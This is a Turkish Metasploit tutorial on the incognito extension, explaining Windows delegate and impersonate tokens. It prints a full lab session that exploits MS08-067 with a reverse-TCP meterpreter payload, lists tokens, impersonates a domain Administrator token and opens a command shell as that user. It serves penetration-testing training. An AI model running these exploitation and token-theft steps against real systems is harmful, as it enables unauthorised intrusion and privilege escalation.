MSF Incognito

MSF Incognito

Incognito Nedir?

Bir sisteme giriş yaptığınızda, sistemde bulunan kullanıcılara ait token  adı verilen izin ve yetkilendirme kuralları bulunur. Bu kurallar, web uygulamalarında kullanılan cookie  denilen çerez dosyalarına benzer. Kullanıcı ağdaki bir servise (örn. Net drive) ilk bağlandığında kullanıcı adı ve parolasıyla oturum açar. Oturum açıldığında sistem bu kullanıcıya bir token  tanımlar. Artık bilgisayar kapanana kadar tekrar tekrar parola girmeden, sistemde bulunan servisi kullanma imkanı olacaktır.

Pentest işlemleri esnasında bu token  ve yetkilerini ele geçirerek kullanmaya incognito  işlemi denilmektedir. token  izinleri, ikiye ayrılmaktadır. Bunlara delegate  ve impersonate  adı verilmektedir. Okuyucunun kafasının karışmaması için biz de İngilizce şekillerini kullanmaya devam edeceğiz.

Delegate: token izinleri beyan ediciler olarak kullanılır. Etkileşimli oturumlarda, örneğin uzak masaüstü bağlantıları tarzında işlemler için kullanılırlar.

Impersonate: token izinleri kişisel olarak üretilmiş izinlerdir ve etkileşim olmayan servisler için kullanılırlar. Örneğin bir ağ klasörüne bağlanmak gibi.

Dosya sunucuları bu token izinleri için çok zengin bir bilgi kaynağıdırlar.

Hedef sistemde bir token ele geçirdiğinizde, artık bir servise bağlanmak için o kullanıcının parolasını bilmeye gerek kalmaz çünkü yetkilendirme önceden yapılmıştır ve yetki kontrolü token  iznine güvenilerek arka planda yapılır. Bir sistemde meterpreter shell açıldığında kullanılabilir durumda olan token  listesi kontrol edilmelidir.

Meterpreter Oturum Açalım

Aşağıdaki örnekte, öncelikle ms08_067_netapi modülü kullanılarak gerekli ayarlar yapılmakta ve bir oturum açılmaktadır.

msf ***>***  use exploit/windows/smb/ms08_067_netapi
msf exploit***(*** ms08_067_netapi***)***  ***>***  set RHOST 10.211.55.140
RHOST ***=>***  10.211.55.140
msf exploit***(*** ms08_067_netapi***)***  ***>***  set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD ***=>***  windows/meterpreter/reverse_tcp
msf exploit***(*** ms08_067_netapi***)***  ***>***  set LHOST 10.211.55.162
LHOST ***=>***  10.211.55.162
msf exploit***(*** ms08_067_netapi***)***  ***>***  set LANG english
LANG ***=>***  english
msf exploit***(*** ms08_067_netapi***)***  ***>***  show targets

Exploit targets:

   Id  Name                                               
   --  ----                                               
   0   Automatic Targeting                                
   1   Windows 2000 Universal                             
   2   Windows XP SP0/SP1 Universal                       
   3   Windows XP SP2 English ***(*** NX***)***                         
   4   Windows XP SP3 English ***(*** NX***)***                         
   5   Windows 2003 SP0 Universal                         
   6   Windows 2003 SP1 English ***(*** NO NX***)***                    
   7   Windows 2003 SP1 English ***(*** NX***)***                       
   8   Windows 2003 SP2 English ***(*** NO NX***)***                    
   9   Windows 2003 SP2 English ***(*** NX***)***                       
   10  Windows XP SP2 Arabic ***(*** NX***)***                          
   11  Windows XP SP2 Chinese - Traditional / Taiwan ***(*** NX***)***  


msf exploit***(*** ms08_067_netapi***)***  ***>***  set TARGET 8
target ***=>***  8
msf exploit***(*** ms08_067_netapi***)***  ***>***  exploit

***[*** ******* ***]***  Handler binding to LHOST 0.0.0.0
***[*** ******* ***]***  Started reverse handler
***[*** ******* ***]***  Triggering the vulnerability...
***[*** ******* ***]***  Transmitting intermediate stager ***for *** over-sized stage...***(*** 191 bytes***)*** 
***[*** ******* ***]***  Sending stage ***(*** 2650 bytes***)*** 
***[*** ******* ***]***  Sleeping before handling stage...
***[*** ******* ***]***  Uploading DLL ***(*** 75787 bytes***)*** ...
***[*** ******* ***]***  Upload completed.
***[*** ******* ***]***  Meterpreter session 1 opened ***(*** 10.211.55.162:4444 -> 10.211.55.140:1028***)*** 

meterpreter ***>*** 

Incognito Modülünü Yükleyelim

Meterpreter oturumu açmayı başardıktan sonra incognito modülünü kullanmamız gerekiyor. Incognito modülü, meterpreter e ait bir modül olduğundan use incognito komutuyla modülü aktif hale getiriyoruz. Ardından help komutunu verdiğinizde, incognito modülüne özel komutları görebiliriz.

meterpreter ***>***  use incognito
Loading extension incognito...success.
meterpreter ***>***  help

Incognito Commands
***==================*** 

    Command              Description                                             
    -------              -----------                                             
    add_group_user       Attempt to add a user to a global group with all tokens 
    add_localgroup_user  Attempt to add a user to a local group with all tokens  
    add_user             Attempt to add a user with all tokens                   
    impersonate_token    Impersonate specified token                             
    list_tokens          List tokens available under current user context        
    snarf_hashes         Snarf challenge/response hashes ***for *** every token         

meterpreter ***>*** 

Sistemdeki token Listesi

Meterpreter içerisinde incognito modülünü yükledikten sonra list_tokens komutuyla listeyi kontrol edelim. Listede bulunan bir takım token  izinlerine Administrator kullanıcılarının bile erişimi olmayabilir. Bizim en fazla ilgileneceğimiz tür SYSTEM  token izinleridir.

meterpreter ***>***  list_tokens -u

Delegation Tokens Available
***========================================*** 
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
SNEAKS.IN\Administrator

Impersonation Tokens Available
***========================================*** 
NT AUTHORITY\ANONYMOUS LOGON

meterpreter ***>*** 

Yukarıda listede bulunan SNEAKS.IN\Administrator isimli token fark ettiyseniz Delegation  listesinde bulunmaktadır. Bunu Impersonation  haline getirerek kişiselleştirmeniz gerekmektedir. Bunun için impersonate_token komutunu kullanacağız. Komutu girerken iki adet \ işareti kullanmaya dikkat edin. Listede </code> tek olsa da komutu girerken iki adet girilmelidir.

meterpreter ***>***  impersonate_token SNEAKS.IN\\Administrator
***[*** +] Delegation token available
***[*** +] Successfully impersonated user SNEAKS.IN\Administrator
meterpreter ***>***  getuid
Server username: SNEAKS.IN\Administrator
meterpreter ***>*** 

Komut başarıyla sonlandığında getuid komutuyla kullanıcı kimliğini kontrol ettiğimizde Server username: SNEAKS.IN\Administrator sonucu aldık.

Yeni Kullacı ile Shell Açma

Meterpreter içerisinde execute -f cmd.exe -i -t komutu ile komut satırında oturum açalım ve whoami komutuyla Windows kullanıcı kimliğine bakalım. Burada -i seçeneği interact * yani etkileşimli, -t seçeneği ise yeni ele geçirdiğimiz SNEAKS.IN\Administrator token iznini kullanmayı ifade eder.

meterpreter ***>***  shell
Process 2804 created.
Channel 1 created.
Microsoft Windows XP ***[*** Version 5.1.2600]
***(*** C***)***  Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> whoami
whoami
SNEAKS.IN\administrator

C:\WINDOWS\system32>

Kişisel bilgisayarlarda karşılaşabileceğiniz token  izinlerine, sunucu bilgisayarlarda daha çok rast gelebilirsiniz. Sunucularda bir çok servis etkileşimli ve çok kullanıcılı olarak çalıştığından liste daha uzun olacaktır. Bunların arasından en çok yetkili token  izinleri denemelisiniz.

Last updated on